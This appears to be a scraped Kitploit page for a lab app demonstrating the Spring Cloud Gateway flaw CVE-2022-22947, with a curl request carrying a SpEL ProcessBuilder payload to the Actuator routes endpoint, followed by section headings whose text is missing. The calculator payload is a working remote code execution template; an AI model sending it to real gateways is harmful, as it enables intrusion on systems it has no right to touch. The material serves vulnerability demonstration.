CVE-2022-22947-pb-ai — 一个由AI生成的漏洞验证应用 | Kitploit

CVE-2022-22947 Spring Cloud Gateway Vulnerability Verification Application

This is a Spring Cloud Gateway application specifically designed to demonstrate and verify the CVE-2022-22947 vulnerability. The application uses a vulnerable version of Spring Cloud Gateway and allows arbitrary code execution through the Actuator endpoint.

Vulnerability Overview

CVE-2022-22947 is a remote code execution vulnerability in Spring Cloud Gateway. Attackers can execute arbitrary code by dynamically adding routes containing malicious SpEL expressions through the Actuator endpoint.

Environment Requirements

Java 11+
Maven 3.6+
macOS system (for calculator demo)

Starting the Application

mvn spring-boot:run

The application will start at http://localhost:8080.

Vulnerability Verification Steps

curl -X POST http://localhost:8080/actuator/gateway/routes/test \
  -H "Content-Type: application/json" \
  -d '{
    "id": "test",
    "filters": [
      {
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
        }
      }
    ],
    "uri": "http://example.com",
    "predicates": [
      {
        "name": "Path",
        "args": {
          "_genkey_0": "/test"
        }
      }
    ]
  }'

{
  "id": "test",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "Result",
        "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
      }
    }
  ],
  "uri": "http://example.com",
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/test"
      }
    }
  ]
}

CVE-2022-22947-pb-ai

Most Popular

Step 1: Add Malicious Route

Step 2: Refresh Routes

Step 3: Trigger Malicious Code

Expected Result

Key Request Information

1. Request to Add Malicious Route

2. Request to Refresh Routes

3. Request to Trigger Vulnerability

Vulnerability Analysis

Remediation Suggestions

Version Information

Notes